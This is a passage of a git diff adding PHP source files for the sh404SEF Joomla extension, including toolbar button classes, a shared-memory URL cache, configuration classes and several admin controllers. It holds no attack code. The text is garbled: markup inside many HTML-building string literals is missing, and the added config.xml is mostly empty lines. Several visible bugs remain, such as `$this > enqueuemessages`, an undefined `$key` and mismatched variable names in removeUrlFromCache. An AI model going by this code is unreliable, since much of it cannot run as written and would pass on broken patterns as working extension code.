$options['id'] . '"'; + + // $html = "\n"; + $html = "\n"; + $html .= "\n"; + $html .= "\n"; + $html .= "$text\n"; + $html .= "\n"; + + return $html; + } + + /** + * Get the button id + * + * Redefined from JButton class + * + * @access public + * @param string $name Button name + * @return string Button CSS Id + * @since 1.5 + */ + public function fetchId($definition) + { + return $this->_parent->getName().'-'."shajax-{$definition[1]}"; + } + + /** + * Get the JavaScript command for the button + * + * @access private + * @param object $definition Button definition + * @return string JavaScript command string + * @since 1.5 + */ + public function _getCommand($name, $url, $userOptions) + { + if (substr($url, 0, 4) !== 'http') { + $url = JURI::base().$url; + } + + $commands = array(); + + // calculate the various parts of the ajax call params, encoded as JSon + if(!empty($userOptions['update'])) { + $commands['update'] = $userOptions['update']; + } + + // make that a json object + $params = Sh404sefHelperHtml::JGetJSObject( $commands); + + // calculate the full command + //$command = 'javascript: onclick=shAjaxHandler(\'' . $name . '\',' . $params .',' .$userOptions['closewindow'].')'; + $command = 'shAjaxHandler(\'' . $name . '\',' . $params .',' .$userOptions['closewindow'].')'; + + return $command; + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/classes/sharedmemorycache.php b/deployed/sh404sef/administrator/components/com_sh404sef/classes/sharedmemorycache.php new file mode 100644 index 00000000..af319e33 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/classes/sharedmemorycache.php @@ -0,0 +1,184 @@ +_config->shUseURLCache) { + $sefUrl = null; + return sh404SEF_URLTYPE_NONE; + } + + // no urls in cache, no need to go further + if (empty($this->_urlCacheCount)) { + $sefUrl = null; + return sh404SEF_URLTYPE_NONE; + } + + $key = 'nonsef2sef-' . self::$_livesite . '-' . md5( $nonSefUrl); + try { + $read = ShlCache_Manager::read( $key, self::CACHE_STATS_DATASET_NAME); + if($read !== false) { + $sefUrl = $read['sefUrl']; + ShlSystem_Log::debug( 'sh404sef', 'read sef url from shared memory cache: %s <= %s, key: %s', $sefUrl, $nonSefUrl, $key); + return $read['urlType']; + } + } catch (ShlException $e) { + ShlSystem_Log::debug( 'sh404sef', 'error reading sef for %s from cache: %s', $nonSefUrl, $e->getMessage()); + } + + $this->_urlCacheMissesList[] = $nonSefUrl; + return sh404SEF_URLTYPE_NONE; + + } + + // fetch an URL from cache, return null if not found + public function getNonSefUrlFromCache( $sefUrl, & $nonSefUrl) { + + if (!$this->_config->shUseURLCache) { + $nonSefUrl = null; + return sh404SEF_URLTYPE_NONE; + } + + // no urls in cache, no need to go further + if (empty($this->_urlCacheCount)) { + $nonSefUrl = null; + return sh404SEF_URLTYPE_NONE; + } + + $key = 'sef2nonsef-' . self::$_livesite . '-' . md5( $sefUrl); + try { + $read = ShlCache_Manager::read( $key, self::CACHE_STATS_DATASET_NAME); + if($read !== false) { + $sefUrl = $read['nonSefUrl']; + ShlSystem_Log::debug( 'sh404sef', 'read non sef url from shared memory cache: %s <= %s, key: %s', $nonSefUrl, $sefUrl, $key); + return $read['urlType']; + } + } catch (ShlException $e) { + ShlSystem_Log::debug( 'sh404sef', 'error reading non sef for %s from cache: %s', $sefUrl, $e->getMessage()); + } + + return sh404SEF_URLTYPE_NONE; + } + + public function addSefUrlToCache( $nonSefUrl, $sefUrl, $urlType) { + + if (!$this->_config->shUseURLCache) { + return null; + } + + // insertion key + $nonSefKey = 'nonsef2sef-' . self::$_livesite . '-' . md5( $nonSefUrl); + $sefKey = 'sef2nonsef-' . self::$_livesite . '-' . md5( $sefUrl); + + // build a record holding the data + $record = array( 'nonSefUrl' => $nonSefUrl, 'sefUrl' => $sefUrl, 'urlType' => $urlType); + + // we store data twice, so as to be able to access data from either the sef or the non-sef url + try { + $ttl = SH404SEF_URL_CACHE_TTL * 3600; + ShlCache_Manager::store( $nonSefKey, self::CACHE_STATS_DATASET_NAME, $record, $ttl); + ShlCache_Manager::store( $sefKey, self::CACHE_STATS_DATASET_NAME, $record, $ttl); + $this->_urlCacheCount++; + ShlSystem_Log::debug( 'sh404sef', 'stored url into shared memory cache: %s <= %s, keys: %s - %s', $sefUrl, $nonSefUrl, $nonSefKey, $sefKey); + return true; + } catch (ShlException $e) { + ShlSystem_Log::debug( 'sh404sef', 'error storing into cache: %s', $e->getMessage()); + return false; + } + } + + public function removeUrlFromCache( $nonSefUrlList) { + + if (!$this->_config->shUseURLCache || empty($nonSefUrlList) || empty($this->_urlCacheCount)) { + return null; + } + + try { + foreach ($nonSefUrlList as $nonSefURL) { + $nonSefKey = 'nonsef2sef-' . self::$_livesite . '-' . md5( $nonSefUrl); + // first read the cache content, to extract the SEF url + $read = ShlCache_Manager::read( $key, self::CACHE_STATS_DATASET_NAME); + // no we delete the cache element + $deletedNonSef = ShlCache_Manager::remove( $nonSefKey, self::CACHE_STATS_DATASET_NAME); + + // and delete the matching element indexed by sef url + if($read !== false) { + $sefKey = 'sef2nonsef-' . self::$_livesite . '-' . md5( $read['sefUrl']); + $deletedSef = ShlCache_Manager::remove($sefKey, self::CACHE_STATS_DATASET_NAME); + } + + // update cache count + $this->_urlCacheCount--; + + } + } catch (ShlException $e) { + ShlSystem_Log::debug( 'sh404sef', 'error deleting from cache: %s', $e->getMessage()); + } + } + + + public function purge( $allCaches = true) { + + try { + $purged = ShlCache_Manager::clear(); + } catch( ShlException $e) { + $purged = false; + ShlSystem_Log::debug( 'sh404sef', 'could not purge shared memory cache: %s', $e->getMessage()); + } + ShlSystem_Log::debug( 'sh404sef', __METHOD__ . ': purged shared memory cache: ' . ($purged ? 'ok' : 'failed')); + return $purged; + } + + /** + * Provides an object with cache usage stats + * for the current page load only + */ + public function getCacheStats() { + + $out = 'Handler : Shared memory (' . ShlCache_Manager::getHandler() . ')
    '; + + // collect data from cache manager + $stats = ShlCache_Manager::getCacheStats( self::CACHE_STATS_DATASET_NAME); + $this->_urlCacheMisses = $stats->read - $stats->hits; + $this->_urlCacheHits = $stats->hits; + + // have parent method format that + $out .= parent::getCacheStats(); + + return $out; + } + +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/classes/shpopupbutton.php b/deployed/sh404sef/administrator/components/com_sh404sef/classes/shpopupbutton.php new file mode 100644 index 00000000..4fa52cb4 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/classes/shpopupbutton.php @@ -0,0 +1,110 @@ +\n"; + $html .= $action; + $html .= "\n"; + + return $html; + } + + function fetchButton( $type='Popup', $name = '', $text = '', $url = '', $popupOptions = array() ) + { + + // merge with default options + $defaultOptions = array( 'class' => 'modal', 'size' => array('x' => 640, 'y' => 500)); + $options = array_merge( $defaultOptions, $popupOptions); + + $text = JText::_($text); + $class = $this->fetchIconClass($name); + $doTask = $this->_getCommand($name, $url); + + $modalOptionsString = Sh404sefHelperHtml::makeSqueezeboxOptions( $options); + $rel = ' {handler: \'iframe\'' . (empty($modalOptionsString) ? '' : ', ' . $modalOptionsString) . '}'; + + $html = "\n"; + $html .= "\n"; + $html .= "\n"; + $html .= "$text\n"; + $html .= "\n"; + + return $html; + } + + /** + * Get the button id + * + * Redefined from JButton class + * + * @access public + * @param string $name Button name + * @return string Button CSS Id + * @since 1.5 + */ + function fetchId($name) + { + //return $this->_parent->_name.'-'."popup-$name[1]"; + return $this->_parent->getName().'-'."popup-$name[1]"; + } + + /** + * Get the JavaScript command for the button + * + * @access private + * @param object $definition Button definition + * @return string JavaScript command string + * @since 1.5 + */ + function _getCommand($name, $url) + { + if (substr($url, 0, 4) !== 'http') { + $url = JURI::base().$url; + } + + return $url; + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/classes/shpopupstandardbutton.php b/deployed/sh404sef/administrator/components/com_sh404sef/classes/shpopupstandardbutton.php new file mode 100644 index 00000000..ea602987 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/classes/shpopupstandardbutton.php @@ -0,0 +1,91 @@ +fetchIconClass($name); + $doTask = $this->_getCommand($text, $task, $list, $hideMenu); + + $html = "\n"; + $html .= "\n"; + $html .= "\n"; + $html .= "$i18n_text\n"; + $html .= "\n"; + + return $html; + } + + /** + * Get the button CSS Id + * + * @access public + * @return string Button CSS Id + * @since 1.5 + */ + function fetchId( $type='Standard', $name = '', $text = '', $task = '', $list = true, $hideMenu = false ) + { + return $this->_parent->getName().'-'.$name; + } + + /** + * Get the JavaScript command for the button + * + * @access private + * @param string $name The task name as seen by the user + * @param string $task The task used by the application + * @param ??? $list + * @param boolean $hide + * @return string JavaScript command string + * @since 1.5 + */ + function _getCommand($name, $task, $list, $hide) + { + $todo = JString::strtolower(JText::_( $name )); + $message = JText::sprintf( 'Please make a selection from the list to', $todo ); + $message = addslashes($message); + $hidecode = $hide ? 'shHideMainMenu();' : ''; + + if ($list) { + $cmd = "javascript:if(document.adminForm.boxchecked.value==0){alert('$message');}else{ $hidecode Joomla.submitbutton('$task')}"; + } else { + $cmd = "javascript:$hidecode Joomla.submitbutton('$task')"; + } + + + return $cmd; + } +} \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/classes/shpopuptoolbarbutton.php b/deployed/sh404sef/administrator/components/com_sh404sef/classes/shpopuptoolbarbutton.php new file mode 100644 index 00000000..a938d29b --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/classes/shpopuptoolbarbutton.php @@ -0,0 +1,128 @@ +\n"; + $html .= $action; + $html .= "\n"; + + return $html; + } + + function fetchButton( $type='Popup', $name = '', $url = '#', $text = '', $msg='', $task = '', $list = true, $hideMenu = false , $popupOptions = array() ) + { + + // merge with default options + $defaultOptions = array( 'class' => 'modal', 'size' => array('x' => 640, 'y' => 500)); + $options = array_merge( $defaultOptions, $popupOptions); + + $text = JText::_($text); + $class = $this->fetchIconClass($name); + $doTask = $this->_getCommand($msg, $name, $task, $list, $hideMenu); + $id = $this->fetchId($name); + + $modalOptionsString = Sh404sefHelperHtml::makeSqueezeboxOptions( $options); + $rel = ' {handler: \'iframe\'' . (empty($modalOptionsString) ? '' : ', ' . $modalOptionsString) . '}'; + + $html = "\n"; + $html .= "\n"; + $html .= "\n"; + $html .= "$text\n"; + $html .= "\n"; + + return $html; + } + + /** + * Get the button id + * + * Redefined from JButton class + * + * @access public + * @param string $name Button name + * @return string Button CSS Id + * @since 1.5 + */ + function fetchId($name) + { + // bug in joomla + if (is_array($name)) { + $name = $name[1]; + } + return $this->_parent->getName().'-'."popup-$name"; + } + + /** + * Get the JavaScript command for the button + * + * @access private + * @param object $definition Button definition + * @return string JavaScript command string + * @since 1.5 + */ + function _getCommand($msg, $name, $task, $list, $hide) + { + $todo = JString::strtolower(JText::_( $name )); + $message = JText::sprintf( 'Please make a selection from the list to', $todo ); + $message = addslashes($message); + + if ($hide) { + if ($list) { + $cmd = "javascript:shStopEvent( event);if(document.adminForm.boxchecked.value==0){alert('$message');}else{shHideMainMenu();shProcessToolbarClick(this.id, '$name');}"; + } else { + $cmd = "javascript:shStopEvent( event);shHideMainMenu();shProcessToolbarClick( this.id, '$name');"; + } + } else { + if ($list) { + $cmd = "javascript:shStopEvent( event);if(document.adminForm.boxchecked.value==0){alert('$message');}else{if(confirm('$msg')){shProcessToolbarClick(this.id, '$name');}}"; + } else { + $cmd = "javascript:shStopEvent( event);if(confirm('$msg')){shProcessToolbarClick( this.id, '$name');}"; + } + } + + return $cmd; + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/classes/shrouter.php b/deployed/sh404sef/administrator/components/com_sh404sef/classes/shrouter.php new file mode 100644 index 00000000..8aefcb2a --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/classes/shrouter.php @@ -0,0 +1,39 @@ + + + +
    + +
    +
    + + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/config/config.sef.php b/deployed/sh404sef/administrator/components/com_sh404sef/config/config.sef.php new file mode 100644 index 00000000..d1ab85f5 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/config/config.sef.php @@ -0,0 +1,3 @@ + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/config/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/config/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/config/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/configuration/config.xml b/deployed/sh404sef/administrator/components/com_sh404sef/configuration/config.xml new file mode 100644 index 00000000..e35ea70a --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/configuration/config.xml @@ -0,0 +1,1008 @@ + + + + + + + +
    + + + + + + + + + + + + + + + + + + + + + + + +
    + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    + + + + + +
    + +
    + + + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    + + + + + +
    + + +
    + + + + + + + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + +
    + + + + + +
    + + +
    + + + + + + + + + + + + + + + + + + + +
    + + +
    + + + + + + + + +
    + + + + +
    + + + + + + + + + + + + + + + + + + + + + + +
    + + +
    + + + + + + + + + + + + + + + +
    + + +
    + + + + + + + + + + +
    + + +
    + + + + + + + + + + + + + + + +
    + + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + +
    + + + + + + + + + + + + + + +
    + + +
    + + + + + + + + + + + + +
    + + + + +
    + + + + + +
    + + +
    + + + + + +
    + + + +
    + > + + +
    + +
    + + +
    + +
    diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/configuration/configuration.php b/deployed/sh404sef/administrator/components/com_sh404sef/configuration/configuration.php new file mode 100644 index 00000000..708daa02 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/configuration/configuration.php @@ -0,0 +1,97 @@ + array('x' => 0.75, 'y' => 0.7), 'confirm' => array('x' => 0.5, 'y' => 0.3), + 'import' => array('x' => 0.75, 'y' => 0.50), 'export' => array('x' => 0.75, 'y' => 0.5), 'duplicates' => array('x' => 0.9, 'y' => 0.8), + 'selectredirect' => array('x' => 0.9, 'y' => 0.8), 'enterredirect' => array('x' => 0.75, 'y' => 0.4), + 'configuration' => array('x' => 0.9, 'y' => 0.80), 'need_full_popup' => array('x' => 0.9, 'y' => 0.80)); + /** + * Length for modal title trimming + * @var array + */ + private $_modalTitleSizes = array('configuration' => array('l' => 60, 'i' => 40), 'editurl' => array('l' => 60, 'i' => 40), + 'confirm' => array('l' => 30, 'i' => 20)); + + /** + * Specifications for user input of meta data + * @var array + */ + + private $_metaDataSpecs = array( + 'metatitle' => array('maxCharacterSize' => 255, 'warningNumber' => 45, 'errorNumber' => 60, 'title' => 'PLG_SHLIB_CHAR_COUNTER'), + 'metadesc' => array('maxCharacterSize' => 255, 'warningNumber' => 140, 'errorNumber' => 160, 'title' => 'PLG_SHLIB_CHAR_COUNTER'), + 'metatitle-one-line' => array('maxCharacterSize' => 255, 'warningNumber' => 45, 'errorNumber' => 60, 'style' => 'shl-char-counter-one-line', + 'title' => 'PLG_SHLIB_CHAR_COUNTER'), + 'metatitle-joomla-be' => array('maxCharacterSize' => 255, 'warningNumber' => 45, 'errorNumber' => 60, + 'style' => 'shl-char-counter-title-joomla-be', 'title' => 'PLG_SHLIB_CHAR_COUNTER'), + 'metadesc-joomla-be' => array('maxCharacterSize' => 255, 'warningNumber' => 140, 'errorNumber' => 160, + 'style' => 'shl-char-counter-desc-joomla-be', 'title' => 'PLG_SHLIB_CHAR_COUNTER')); + + /** + * List of components that should always be left as non-sef + * + * @var array + */ + private $_alwaysNonSefComponents = array('jce', 'akeeba', 'media', 'contenthistory'); + + public function __get($name) + { + + switch ($name) + { + case 'searchEnginesAgents': + case 'trackingVars': + case 'alwaysNonSefComponents': + $remoteConfig = Sh404sefHelperUpdates::getRemoteConfig(false); + $prop = '_' . $name; + $value = empty($remoteConfig->config[$name]) ? $this->$prop : $remoteConfig->config[$name]; + return $value; + break; + case 'windowSizes': + case 'modalTitleSizes': + case 'metaDataSpecs': + $remoteConfig = Sh404sefHelperUpdates::getRemoteConfig(false); + $remotes = empty($remoteConfig->config[$name]) ? array() : $remoteConfig->config[$name]; + $prop = '_' . $name; + $value = array_merge($this->$prop, $remotes); + return $value; + break; + default: + $prop = '_' . $name; + return $this->$prop; + break; + } + + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/configuration/edition.php b/deployed/sh404sef/administrator/components/com_sh404sef/configuration/edition.php new file mode 100644 index 00000000..5937d593 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/configuration/edition.php @@ -0,0 +1,21 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/controllers/aliases.php b/deployed/sh404sef/administrator/components/com_sh404sef/controllers/aliases.php new file mode 100644 index 00000000..ec3307cb --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/controllers/aliases.php @@ -0,0 +1,220 @@ +enqueuemessage( $msg); + } + } + + // find and store edited item id + $cid = JRequest::getVar('cid', array(0), 'default', 'array'); + + // Set the view name and create the view object + $viewName = $this->_defaultView; + $document =JFactory::getDocument(); + $viewType = $document->getType(); + $viewLayout = JRequest::getCmd( 'layout', $this->_defaultLayout ); + + $view = $this->getView( $viewName, $viewType, '', array( 'base_path'=>$this->basePath)); + + // Get/Create the model + if ($model = $this->getModel( $this->_defaultModel, 'Sh404sefModel')) { + // store initial context in model + $model->setContext( $this->_context); + + // Push the model into the view (as default) + $view->setModel($model, true); + + // and push also the default redirect + $view->defaultRedirectUrl = $this->_getDefaultRedirect( array( 'layout' => $viewLayout)); + + } + + // Set the layout + $view->setLayout($viewLayout); + + // Display the view + $view->display(); + + } + + /** + * Handles confirmation for "Purge urls" action + * + */ + public function confirmpurge() { + + // use actual method shared with "purge selected" feature + $this->_doConfirmPurge( 'auto'); + + } + + /** + * Handles confirmation for "Purge selected urls" action + * + */ + public function confirmpurgeselected() { + + // use actual method shared with "purge" feature + $this->_doConfirmPurge( 'selected'); + + } + + /** + * Hook for the "confirmed" task, until our + * confirm view is a bit more flexible + */ + public function delete() { + $this->confirmed(); + } + + /** + * Handles actions confirmed through the confirmation box + */ + public function confirmed() { + + // Check for request forgeries + JRequest::checkToken() or jexit( 'Invalid Token' ); + + // collect type of purge to make + $type = JRequest::getCmd( 'delete_type'); + + switch($type) { + case 'auto': + break; + case 'selected': + break; + default: + $this->setError('Invalid data'); + $view->display(); + break; + } + + // now perform url deletion + // get the model to do it, actually + // Get/Create the model + if ($model = $this->getModel( $this->_defaultModel, 'Sh404sefModel')) { + // store initial context in model + $model->setContext( 'com_sh404sef.aliases.aliases.default'); + + // call the delete method on our list + $model->purge( $type); + + // check errors and enqueue them for display if any + $error = $model->getError(); + if (!empty($error)) { + $this->setError( $error); + } + + } + // return result to caller + $this->display(); + } + + + /** + * Redirect to a confirmation page showing in + * a popup window + */ + private function _doConfirmPurge( $type = 'auto') { + + // Set the view name and create the view object + $viewName = 'confirm'; + $document =JFactory::getDocument(); + $viewType = $document->getType(); + $viewLayout = JRequest::getCmd( 'layout', $this->_defaultLayout ); + + $view = $this->getView( $viewName, $viewType, '', array( 'base_path'=>$this->basePath)); + + // and who's gonna handle the request + $view->actionController = $this->_defaultController; + + // Get/Create the model + if ($model = $this->getModel( $this->_defaultModel, 'Sh404sefModel')) { + // store context of the main url view in the model + $model->setContext( 'com_sh404sef.aliases.aliases.default'); + + // Push the model into the view (as default) + $view->setModel($model, true); + + } + + // tell it what to display + // we purge aliases, count them first + $numberOfAliases = $model->getAliasesCount( $type); + + // if nothing to do, say so and return to main page + if (empty( $numberOfAliases)) { + $view->redirectTo = $this->_getDefaultRedirect(); + $view->message = JText::_('COM_SH404SEF_NORECORDS'); + } else { + + // calculate the message and some hidden data to be passed + // through the confirmation box + switch ($type) { + case 'selected': + $mainText = JText::sprintf( 'COM_SH404SEF_CONFIRM_PURGE_ALIASES_SELECTED', $numberOfAliases); + break; + case 'auto': + $mainText = JText::sprintf( 'COM_SH404SEF_CONFIRM_PURGE_ALIASES', $numberOfAliases); + default: + break; + } + + $hiddenText = ''; + + // push that into the view + $view->mainText = $mainText; + $view->hiddenText = $hiddenText; + } + // Set the layout + $view->setLayout($viewLayout); + + // Display the view + $view->display(); + + } + +} \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/controllers/analytics.php b/deployed/sh404sef/administrator/components/com_sh404sef/controllers/analytics.php new file mode 100644 index 00000000..8ce1a83f --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/controllers/analytics.php @@ -0,0 +1,30 @@ + 'index.php?option=com_sh404sef&c=configuration&view=configuration&tmpl=component', + 'message' => JText::sprintf('JERROR_SAVE_FAILED', $this->getError())); + if(version_compare(JVERSION, '3.0', 'ge')) { + $success = array('url' => 'index.php?option=com_sh404sef&tmpl=component&c=configuration&view=configuration&layout=refresh', + 'message' => JText::_('COM_SH404SEF_ELEMENT_SAVED')); + } else { + $success = array('url' => 'index.php?option=com_sh404sef&tmpl=component&c=configuration&view=configuration&layout=close', + 'message' => JText::_('COM_SH404SEF_ELEMENT_SAVED')); + } + + $status = $this->_doSave($data, $success, $failure); + + return $status; + } + + /** + * Saves data from the quickStart pane on main dashboard + */ + public function saveqcontrol() + { + // Check for request forgeries. + JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); + + try + { + // get current settings for sh404SEF + $params = Sh404sefHelperGeneral::getComponentParams($forceRead = true); + + // set params from the form + $params->set('Enabled', JRequest::getInt('Enabled', 0)); + $params->set('canReadRemoteConfig', JRequest::getInt('canReadRemoteConfig', 0)); + $params->set('shRewriteMode', JRequest::getInt('shRewriteMode', 1)); + $params->set('shSecEnableSecurity', JRequest::getInt('shSecEnableSecurity', 1)); + + // convert to json and store into db + $textParams = $params->toString(); + + ShlDbHelper::update('#__extensions', array('params' => $textParams), array('element' => 'com_sh404sef', 'type' => 'component')); + JFactory::getApplication()->enqueueMessage(JText::_('COM_SH404SEF_ELEMENT_SAVED')); + } + catch (Exception $e) + { + JFactory::getApplication()->enqueueMessage(JText::_('COM_SH404SEF_ELEMENT_NOT_SAVED'), 'error'); + } + + parent::display(); + } + + /** + * Saves configuration data coming from a form filled up by user + * + * @param array $data data to be saved, according to config.xml description + * @param array $success url and message to display and redirect to on success + * @param array $failure url and message to display and redirect to on failure + * @return boolean true on success + */ + private function _doSave($data, $success, $failure) + { + $component = JComponentHelper::getComponent('com_sh404sef'); + + // instantiate model, and pass data to be saved + $model = new Sh404sefModelConfiguration(); + $status = $model->save($data, $component->id); + + // Check the return value. + if (!$status) + { + // Save failed, go back to the screen and display a notice. + $this->setRedirect(JRoute::_($failure['url'], false), $failure['message'], 'error'); + return false; + } + + $this->setRedirect(JRoute::_($success['url'], false), $success['message'], 'message'); + return true; + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/controllers/default.php b/deployed/sh404sef/administrator/components/com_sh404sef/controllers/default.php new file mode 100644 index 00000000..82125d65 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/controllers/default.php @@ -0,0 +1,99 @@ +_setDefaults(); + + // then display normally + parent::display($cachable, $urlparams); + } + + /** + * Browse through security log files + * and update statistics, stored in + * general config file for quick access + */ + public function updatesecstats() + { + // Set the default view name in case it's missing + $this->_setDefaults(); + + Sh404sefHelperSecurity::updateSecStats(); + + parent::display(); + } + + /** + * Update statistics, based on data stored in + * general config file for quick access + */ + public function showsecstats() + { + // Set the default view name in case it's missing + $this->_setDefaults(); + + parent::display(); + } + + /** + * Show updates information, w/o actually + * checking for updates + */ + public function showupdates() + { + // Set the default view name in case it's missing + $this->_setDefaults(); + + parent::display(); + } + + function info() + { + // Set the default view name in case it's missing + $this->_setDefaults(); + + // set the layout for info display + JRequest::setVar('layout', 'info'); + + // default display + parent::display(); + } + + private function _setDefaults() + { + $viewName = JRequest::getWord('view'); + if (empty($viewName)) + { + JRequest::setVar('view', 'default'); + } + $layout = JRequest::getWord('layout'); + if (empty($layout)) + { + JRequest::setVar('layout', 'default'); + } + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/controllers/duplicates.php b/deployed/sh404sef/administrator/components/com_sh404sef/controllers/duplicates.php new file mode 100644 index 00000000..92e1859e --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/controllers/duplicates.php @@ -0,0 +1,139 @@ +getType(); + $viewLayout = JRequest::getCmd('layout', $this->_defaultLayout); + + $view = $this->getView($viewName, $viewType, '', array('base_path' => $this->basePath)); + + // Get/Create the model + if ($model = $this->getModel('duplicates', 'Sh404sefModel')) + { + // store initial context in model + $model->setContext($this->_context); + + // store the sef url id + $model->setState('sefId', $cid[0]); + + // Push the model into the view (as default) + $view->setModel($model, true); + + } + + // Set the layout + $view->setLayout($viewLayout); + + // Display the view + $view->display(); + + } + + public function makemainurl() + { + + // Check for request forgeries + JRequest::checkToken() or jexit('Invalid Token'); + + // find and store edited item id + $cid = JRequest::getVar('cid', array(0), 'default', 'array'); + + // check invalid data + if (!is_array($cid) || count($cid) != 1 || intval($cid[0]) == 0) + { + $redirect = array('c' => "duplicates", 'tmpl' => 'component', 'cid[]' => JRequest::getInt('mainurl_id')); + $this->setRedirect($this->_getDefaultRedirect($redirect), JText::_('COM_SH404SEF_SELECT_ONE_URL'), 'error'); + + // send back response through default view + $this->display(); + } + + // now make that url the main url + // while also setting the previous + // with this url current rank + // get the model to do it, actually + // Get/Create the model + if ($model = $this->getModel($this->_defaultModel, 'Sh404sefModel')) + { + // store initial context in model + $model->setContext($this->_context); + + // call the delete method on our list + $model->makeMainUrl(intval($cid[0])); + + // check errors and enqueue them for display if any + $errors = $model->getErrors(); + + if (version_compare(JVERSION, '3.0', 'ge')) + { + // V3: we redirect to the close page, as ajax is not used anymore to save + $failure = array('url' => 'index.php?option=com_sh404sef&c=duplicates&view=duplicates&tmpl=component', + 'message' => JText::sprintf('JERROR_SAVE_FAILED', $this->getError())); + $success = array('url' => 'index.php?option=com_sh404sef&tmpl=component&c=duplicates&view=duplicates&layout=refresh', + 'message' => JText::_('COM_SH404SEF_ELEMENT_SAVED')); + if (!empty($errors)) + { + // Save failed, go back to the screen and display a notice. + $this->setRedirect(JRoute::_($failure['url'], false), $failure['message'], 'error'); + return false; + } + + $this->setRedirect(JRoute::_($success['url'], false), $success['message'], 'message'); + return true; + } + else + { // J2 + if (!empty($errors)) + { + $this > enqueuemessages($errors, 'error'); + + } + } + } + + // send back response through default view + $this->display(); + + } + +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/controllers/editalias.php b/deployed/sh404sef/administrator/components/com_sh404sef/controllers/editalias.php new file mode 100644 index 00000000..25735b1f --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/controllers/editalias.php @@ -0,0 +1,246 @@ +_id = $cid[0]; + + // need to get the view to push the url data into it + $viewName = JRequest::getWord('view'); + if (empty($viewName)) + { + JRequest::setVar('view', $this->_defaultView); + } + + $document = JFactory::getDocument(); + + $viewType = $document->getType(); + $viewName = JRequest::getCmd('view'); + $this->_editView = $viewName; + $viewLayout = JRequest::getCmd('layout', $this->_defaultLayout); + + $view = $this->getView($viewName, $viewType, '', array('base_path' => $this->basePath)); + + // Call the base controller to do the rest + $this->display(); + + } + + /** + * Handle editing aliases from the aliases + * manager. cid contains the id of the + * alias record we want to edit. Need to be + * turned into that of the SEF url id, + * so as to be able to use the editurl view + * to edit all aliases for this url + */ + public function edit() + { + + // hide the main menu + JRequest::setVar('hidemainmenu', 1); + + // find and store edited item id + $cid = JRequest::getVar('cid', array(0), 'default', 'array'); + $this->_id = $cid[0]; + + // find to which url this alias record belongs to + // get a model and ask for the matching URL record + $model = $this->getModel('aliases', 'Sh404sefModel'); + $url = $model->getUrlByAliasId($this->_id); + + // push that as a request var, so that we fake editing an url + if (!empty($url) && !empty($url->id)) + { + $cid = array($url->id); + } + else + { + $cid = array(0); + } + Jrequest::setVar('cid', $cid); + + // need to get the view to push the url data into it + $viewName = JRequest::getWord('view'); + if (empty($viewName)) + { + JRequest::setVar('view', $this->_defaultView); + } + + $document = JFactory::getDocument(); + + $viewType = $document->getType(); + $viewName = JRequest::getCmd('view'); + $this->_editView = $viewName; + $viewLayout = JRequest::getCmd('layout', $this->_defaultLayout); + + $view = $this->getView($viewName, $viewType, '', array('base_path' => $this->basePath)); + + // now we can push the url into the view + $view->url = $url; + // will prevent user from editing the non-sef url + $view->noUrlEditing = true; + + // Call the base controller to do the rest + $this->display(); + + } + + /** + * Redirect to a confirmation page showing in + * a popup window + */ + public function confirmdelete() + { + + // find and store edited item id + $cid = JRequest::getVar('cid', array(0), 'default', 'array'); + + // Set the view name and create the view object + $viewName = 'confirm'; + $document = JFactory::getDocument(); + $viewType = 